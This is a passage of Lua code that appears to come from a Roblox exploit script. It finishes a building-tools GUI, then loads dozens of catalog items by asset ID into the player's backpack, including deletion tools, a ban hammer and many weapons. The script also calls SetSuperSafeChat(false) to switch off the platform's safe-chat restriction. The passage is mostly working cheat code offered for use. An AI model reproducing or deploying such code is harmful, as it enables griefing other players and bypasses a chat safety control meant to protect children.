brk.Selected=false
colDown()
colUp()
end)

lck.MouseButton1Click:connect(function()
md2=4

del_downFunc:disconnect()

del_upFunc:disconnect()

ach_downFunc:disconnect()

ach_upFunc:disconnect()

col_downFunc:disconnect()

col_upFunc:disconnect()

lck_downFunc:disconnect()

lck_upFunc:disconnect()

brk_downFunc:disconnect()

brk_upFunc:disconnect()

del.Style="RobloxButton"
del.Selected=false

ach.Style="RobloxButton"
ach.Selected=false

col.Style="RobloxButton"
col.Selected=false

lck.Style="RobloxButtonDefault"
lck.Selected=true
brk.Style="RobloxButton"
brk.Selected=false
lckDown()
lckUp()
end)

brk.MouseButton1Click:connect(function()
md2=5

del_downFunc:disconnect()

del_upFunc:disconnect()

ach_downFunc:disconnect()

ach_upFunc:disconnect()

col_downFunc:disconnect()

col_upFunc:disconnect()

lck_downFunc:disconnect()

lck_upFunc:disconnect()

brk_downFunc:disconnect()

brk_upFunc:disconnect()

del.Style="RobloxButton"
del.Selected=false

ach.Style="RobloxButton"
ach.Selected=false

col.Style="RobloxButton"
col.Selected=false

lck.Style="RobloxButton"
lck.Selected=false

brk.Style="RobloxButtonDefault"
brk.Selected=true
brkDown()
brkUp()
end)

set.MouseButton1Click:connect(function()
if(ste)then
ste=false

frs.Visible=false

set.Style="RobloxButton"
else
ste=true

frs.Visible=true
set.Style="RobloxButtonDefault"
end
end)

cls.MouseButton1Click:connect(function()
ste=false
frs.Visible=false

set.Style="RobloxButton"
end)

ckb.MouseButton1Click:connect(function()
md1=1

ckb.Style="RobloxButtonDefault"
ckb.Selected=true
ckb.Text="Enabled"

ckb.TextColor3=Color3.new(0,1,0)

ryb.Style="RobloxButton"
ryb.Selected=false

ryb.Text="Disabled"

ryb.TextColor3=Color3.new(1,0,0)
end)

ryb.MouseButton1Click:connect(function()
md1=2

ryb.Style="RobloxButtonDefault"
ryb.Selected=true
ryb.Text="Enabled"

ryb.TextColor3=Color3.new(0,1,0)

ckb.Style="RobloxButton"
ckb.Selected=false

ckb.Text="Disabled"

ckb.TextColor3=Color3.new(1,0,0)
end)

rfb.MouseButton1Click:connect(function()
if(md3==1)then
md3=2

rfb.Style="RobloxButton"

rfb.Text="Disable Propertie"

rfb.TextColor3=Color3.new(1,0,0)
elseif(md3==2)then
md3=1

rfb.Style="RobloxButtonDefault"
rfb.Text="Enable Propertie"

rfb.TextColor3=Color3.new(0,1,0)
end
end)
end)

bin.Deselected:connect(function() print("iBTool_Deselected")
clr=false
if(box~=nil)then
box:remove()
end
if(lso~=nil)then
lso:remove()
end
if(gui~=nil)then
gui:remove()
end
end)]]
iBToolScript.Disabled=true
iBToolScript.Disabled=false
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingBTools..."))then
local load=ctool("LoadingBTools...")
end
local insrt1 =
game:GetService("InsertService"):LoadAsset(58901534)--resize
for _, v in pairs(insrt1:GetChildren()) do
v.Name='iResizeTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt1 =
game:GetService("InsertService"):LoadAsset(16975388)--config1
for _, v in pairs(insrt1:GetChildren()) do
v.Name='iConfigTool1'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt2 =
game:GetService("InsertService"):LoadAsset(18474459)--paint
for _, v in pairs(insrt2:GetChildren()) do
v.Name='iPaintTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt3 =
game:GetService("InsertService"):LoadAsset(36334760)--dragger
for _, v in pairs(insrt3:GetChildren()) do
v.Name='iDraggerTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt4 =
game:GetService("InsertService"):LoadAsset(58901405)--material
for _, v in pairs(insrt4:GetChildren()) do
v.Name='iMaterialTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt5 =
game:GetService("InsertService"):LoadAsset(58901575)--surface
for _, v in pairs(insrt5:GetChildren()) do
v.Name='iSurfaceTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt6 =
game:GetService("InsertService"):LoadAsset(58901335)--insert
for _, v in pairs(insrt6:GetChildren()) do
v.Name='iInsertTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt7 =
game:GetService("InsertService"):LoadAsset(55028088)--stamper
for _, v in pairs(insrt7:GetChildren()) do
v.Name='iStamperTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt8 =
game:GetService("InsertService"):LoadAsset(73089239)--config2
for _, v in pairs(insrt8:GetChildren()) do
v.Name='iConfigTool2'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt9 =
game:GetService("InsertService"):LoadAsset(58880579)--rotate
for _, v in pairs(insrt9:GetChildren()) do
v.Name='iRotateTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt10 =
game:GetService("InsertService"):LoadAsset(60791062)--wiring
for _, v in pairs(insrt10:GetChildren()) do
v.Name='iWiringTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt10 =
game:GetService("InsertService"):LoadAsset(36738185)--delete
for _, v in pairs(insrt10:GetChildren()) do
v.Name='iDeleteTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
wait()
if
(game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingBTools..."))then

game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingBTools..."):remove()
end
end))
elseif Key==GearKey then
Player:SetSuperSafeChat(false)
coroutine.resume(coroutine.create(function()
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iMergeTool"))then

MergeTool=ctool("iMergeTool")

MergeScript=Instance.new("LocalScript",MergeTool)
end

MergeScript.Source=MergeScriptSource
MergeScript.Disabled=true
MergeScript.Disabled=false
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingGears..."))then
local load=ctool("LoadingGears...")
end
local insrt8 =
game:GetService("InsertService"):LoadAsset(16688968)--coil
for _, v in pairs(insrt8:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt9 =
game:GetService("InsertService"):LoadAsset(52180871)--remotecontroltruck
for _, v in pairs(insrt9:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt10 =
game:GetService("InsertService"):LoadAsset(55917429)--bow
for _, v in pairs(insrt10:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt11 =
game:GetService("InsertService"):LoadAsset(31314931)--epicsauce
for _, v in pairs(insrt11:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt12 =
game:GetService("InsertService"):LoadAsset(65545955)--dancegrenade
for _, v in pairs(insrt12:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt13 =
game:GetService("InsertService"):LoadAsset(28277486)--bomb
for _, v in pairs(insrt13:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt14 =
game:GetService("InsertService"):LoadAsset(27902406)--skate
for _, v in pairs(insrt14:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt15 =
game:GetService("InsertService"):LoadAsset(42845853)--freezeray
for _, v in pairs(insrt15:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt16 =
game:GetService("InsertService"):LoadAsset(50937815)--atomgun
for _, v in pairs(insrt16:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt17 =
game:GetService("InsertService"):LoadAsset(34898883)--platformproducer
for _, v in pairs(insrt17:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt18 =
game:GetService("InsertService"):LoadAsset(35683911)--wallwalker
for _, v in pairs(insrt18:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt19 =
game:GetService("InsertService"):LoadAsset(68603151)--sentry
for _, v in pairs(insrt19:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt20 =
game:GetService("InsertService"):LoadAsset(26421972)--zombie
for _, v in pairs(insrt20:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt21 =
game:GetService("InsertService"):LoadAsset(34901961)--gravity
for _, v in pairs(insrt21:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt22 =
game:GetService("InsertService"):LoadAsset(10468797)--banhammer
for _, v in pairs(insrt22:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt23 =
game:GetService("InsertService"):LoadAsset(71422361)--coolsword1
for _, v in pairs(insrt23:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt24 =
game:GetService("InsertService"):LoadAsset(62350883)--coolsword2
for _, v in pairs(insrt24:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt25 =
game:GetService("InsertService"):LoadAsset(30847733)--vinestaff
for _, v in pairs(insrt25:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt26 =
game:GetService("InsertService"):LoadAsset(48596324)--leviatingstaff
for _, v in pairs(insrt26:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt27 =
game:GetService("InsertService"):LoadAsset(61459706)--polaritystaff
for _, v in pairs(insrt27:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt28 =
game:GetService("InsertService"):LoadAsset(66416616)--zeusstaff
for _, v in pairs(insrt28:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt29 =
game:GetService("InsertService"):LoadAsset(33866846)--gravhammer
for _, v in pairs(insrt29:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt30 =
game:GetService("InsertService"):LoadAsset(30847779)--magicninja
for _, v in pairs(insrt30:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt31 =
game:GetService("InsertService"):LoadAsset(60888284)--dualkamas
for _, v in pairs(insrt31:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt32 =
game:GetService("InsertService"):LoadAsset(42845609)--bbgun
for _, v in pairs(insrt32:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt33 =
game:GetService("InsertService"):LoadAsset(32356064)--rocketlauncher
for _, v in pairs(insrt33:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt34 =
game:GetService("InsertService"):LoadAsset(69209924)--r80launcher
for _, v in pairs(insrt34:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt35 =
game:GetService("InsertService"):LoadAsset(69947379)--revengeancespear
for _, v in pairs(insrt35:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt36 =
game:GetService("InsertService"):LoadAsset(51760061)--deathspeaker
for _, v in pairs(insrt36:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt37 =
game:GetService("InsertService"):LoadAsset(59175769)--flamethrower1
for _, v in pairs(insrt37:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt38 =
game:GetService("InsertService"):LoadAsset(69499452)--laservision
for _, v in pairs(insrt38:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt39 =
game:GetService("InsertService"):LoadAsset(65082246)--dreamselixir
for _, v in pairs(insrt39:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt40 =
game:GetService("InsertService"):LoadAsset(55917420)--hydrianelexir
for _, v in pairs(insrt40:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt41 =
game:GetService("InsertService"):LoadAsset(50938746)--fermionblade
for _, v in pairs(insrt41:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt42 =
game:GetService("InsertService"):LoadAsset(72644644)--quantumentangler
for _, v in pairs(insrt42:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt43 =
game:GetService("InsertService"):LoadAsset(72713855)--giantoform
for _, v in pairs(insrt43:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt44 =
game:GetService("InsertService"):LoadAsset(26774629)--expander
for _, v in pairs(insrt44:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt45 =
game:GetService("InsertService"):LoadAsset(66426498)--kami
for _, v in pairs(insrt45:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt46 =
game:GetService("InsertService"):LoadAsset(66896565)--missiletoe
for _, v in pairs(insrt46:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt47 =
game:GetService("InsertService"):LoadAsset(69499437)--azureperiastron
for _, v in pairs(insrt47:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt48 =
game:GetService("InsertService"):LoadAsset(71037028)--magiccarpet
for _, v in pairs(insrt48:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt49 =
game:GetService("InsertService"):LoadAsset(68354832)--blizzardwand
for _, v in pairs(insrt49:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt50 =
game:GetService("InsertService"):LoadAsset(66896601)--neverendingfroststaff
for _, v in pairs(insrt50:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt51 =
game:GetService("InsertService"):LoadAsset(72644629)--orb
for _, v in pairs(insrt51:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt52 =
game:GetService("InsertService"):LoadAsset(48596305)--confusoray
for _, v in pairs(insrt52:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt53 =
game:GetService("InsertService"):LoadAsset(45941451)--danceblaster
for _, v in pairs(insrt53:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt54 =
game:GetService("InsertService"):LoadAsset(30393548)--grapplehook
for _, v in pairs(insrt54:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt55 =
game:GetService("InsertService"):LoadAsset(59848474)--deathspeakerbook
for _, v in pairs(insrt55:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt56 =
game:GetService("InsertService"):LoadAsset(49491736)--dracovinbook
for _, v in pairs(insrt56:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt57 =
game:GetService("InsertService"):LoadAsset(56561607)--dracovinwand
for _, v in pairs(insrt57:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt58 =
game:GetService("InsertService"):LoadAsset(49491716)--mischiefwand
for _, v in pairs(insrt58:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt59 =
game:GetService("InsertService"):LoadAsset(16979083)--flashbang
for _, v in pairs(insrt59:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt60 =
game:GetService("InsertService"):LoadAsset(27860496)--novawand
for _, v in pairs(insrt60:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt61 =
game:GetService("InsertService"):LoadAsset(56561579)--forgottenbook
for _, v in pairs(insrt61:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt62 =
game:GetService("InsertService"):LoadAsset(69210407)--remoteplanecontrol
for _, v in pairs(insrt62:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt63 =
game:GetService("InsertService"):LoadAsset(66823689)--icicleslicer
for _, v in pairs(insrt63:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt64 =
game:GetService("InsertService"):LoadAsset(61459678)--nekotikozphaser
for _, v in pairs(insrt64:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt65 =
game:GetService("InsertService"):LoadAsset(64220933)--ghostfiresword
for _, v in pairs(insrt65:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt66 =
game:GetService("InsertService"):LoadAsset(64869947)--ninjabomb
for _, v in pairs(insrt66:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt67 =
game:GetService("InsertService"):LoadAsset(14516975)--superdisruptor
for _, v in pairs(insrt67:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt68 =
game:GetService("InsertService"):LoadAsset(18268645)--disintergrexgun
for _, v in pairs(insrt68:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt69 =
game:GetService("InsertService"):LoadAsset(18462637)--windstaff
for _, v in pairs(insrt69:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt70 =
game:GetService("InsertService"):LoadAsset(13838639)--atomicdisintegrator
for _, v in pairs(insrt70:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt71 =
game:GetService("InsertService"):LoadAsset(33867016)--handcannon
for _, v in pairs(insrt71:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt72 =
game:GetService("InsertService"):LoadAsset(33879504)--flamethrower2
for _, v in pairs(insrt72:GetChildren()) do
v.Name='FlameThrower2'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt73 =
game:GetService("InsertService"):LoadAsset(35366155)--hypnocannon
for _, v in pairs(insrt73:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt74 =
game:GetService("InsertService"):LoadAsset(28275809)--scythe
for _, v in pairs(insrt74:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt75 =
game:GetService("InsertService"):LoadAsset(31839203)--rcformula
for _, v in pairs(insrt75:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt76 =
game:GetService("InsertService"):LoadAsset(11373617)--woodlandsstaff
for _, v in pairs(insrt76:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt77 =
game:GetService("InsertService"):LoadAsset(22969230)--emraldscatterblaster
for _, v in pairs(insrt77:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt78 =
game:GetService("InsertService"):LoadAsset(21420014)--scatterblaster
for _, v in pairs(insrt78:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt79 =
game:GetService("InsertService"):LoadAsset(36913601)--broom
for _, v in pairs(insrt79:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt80 =
game:GetService("InsertService"):LoadAsset(48847374)--positronicarmcannon
for _, v in pairs(insrt80:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt81 =
game:GetService("InsertService"):LoadAsset(71422327)--frosthammer
for _, v in pairs(insrt81:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt82 =
game:GetService("InsertService"):LoadAsset(69947367)--dualaxe
for _, v in pairs(insrt82:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt83 =
game:GetService("InsertService"):LoadAsset(33382711)--gloomystaff
for _, v in pairs(insrt83:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt84 =
game:GetService("InsertService"):LoadAsset(11719016)--blowdryer
for _, v in pairs(insrt84:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt85 =
game:GetService("InsertService"):LoadAsset(12902404)--tnt
for _, v in pairs(insrt85:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt86 =
game:GetService("InsertService"):LoadAsset(65469882)--fist
for _, v in pairs(insrt86:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt87 =
game:GetService("InsertService"):LoadAsset(65469908)--scullcracker
for _, v in pairs(insrt87:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt88 =
game:GetService("InsertService"):LoadAsset(33383241)--remotemine
for _, v in pairs(insrt88:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt89 =
game:GetService("InsertService"):LoadAsset(32353654)--moonwalkdance
for _, v in pairs(insrt89:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt90 =
game:GetService("InsertService"):LoadAsset(32355966)--winsomewand
for _, v in pairs(insrt90:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt91 =
game:GetService("InsertService"):LoadAsset(35293856)--atomizer
for _, v in pairs(insrt91:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt92 =
game:GetService("InsertService"):LoadAsset(50938773)--taserblade
for _, v in pairs(insrt92:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt93 =
game:GetService("InsertService"):LoadAsset(32858662)--icestaff
for _, v in pairs(insrt93:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt94 =
game:GetService("InsertService"):LoadAsset(16469499)--highphaser
for _, v in pairs(insrt94:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt95 =
game:GetService("InsertService"):LoadAsset(47871646)--tornade
for _, v in pairs(insrt95:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt96 =
